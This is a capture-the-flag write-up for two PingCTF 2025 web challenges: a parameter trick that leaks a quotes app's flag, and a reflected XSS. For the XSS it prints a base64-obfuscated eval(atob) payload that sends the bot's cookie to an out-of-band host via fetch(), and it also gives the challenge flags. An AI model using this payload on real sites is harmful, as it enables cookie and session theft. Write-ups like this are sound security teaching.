PingCTF 2025 - slow-down, calc (WEB)
slow-down (133 Solves)
Title: slow-down
Author: tomek7667 Flag format: ping{.*} Description:
Description:
We have a quotes app for you! If you want some inspiration first, make sure to checkout the default quotes we provided. Please don’t read our flag tho, that’s some private stuff.
The challenge provided the source code.
1 | const crypto = require("crypto"); |
name.replace(/[^a-zA-Z0-9 ]/g, "")
This regex removes all special characters but allows alphanumeric characters and spaces.
The end point /personalized-quotes
allows users to retrieve stored quotes. If value
is not provided, it attempts to fetch from req.session.quots
or defaultQutes
. The defaultQuotes
object contains a reference to flag
.
1 | POST /personalized-quotes HTTP/1.1 |
If you set flag+
as the name
and do not send a value
as above packet, you can retrieve the value of defaultQuotes[flag]
.
flag
1 | ping{fastify-more-like-slowify-hehe-anMtYW5keQ==} |
calc (73 Solves)
Title: calc
Author: tomek7667 Flag format: ping{.*}
Description: just a calc app
The challenge provided the source code. And It’s a simple XSS challenge.
The challenge includes a reporting function that triggers a bot. The bot has a cookie containing the flag
.
The /test
endpoint is vulnerable to XSS as it directly reflects user input from the html query parameter without any sanitization.
1 | fastify.get("/test", async (req, reply) => { |
This means you can inject arbitrary JavaScript code through this endpoint.
The bot includes a basic security check as below.
1 | // bot.js |
This function prevents input containing a dot(.). In my case, I needed to include a dot (.), so I bypassed it using Base64
, as below. And the goal is to steal the bot’s flag
cookie by executing JavaScript that sends it to a server.
1 | btoa(fetch(`https://czg6xb5z1wg0000akmc0gxadqiwyyyyyb.oast.pro?flag=${document.cookie}`)) |
When a payload encoded in Base64
is decoded using the atob
, it returns the original JavaScript code as a string. However, simply calling atob
only produces a string, it means that it doesn’t execute. So, eval
is used to execute the decoded code.
1 | <script>eval(atob`ZmV0Y2goYGh0dHBzOi8vY3pnNnhiNXoxd2cwMDAwYWttYzBneGFkcWl3eXl5eXliLm9hc3QucHJvP2ZsYWc9JHtkb2N1bWVudC5jb29raWV9YCk=`)</script> |
flag
1 | ping{cH4r53tt1ng_l1k3-4-Pr0-f211c8998abab934e26d4c2164dc5388} |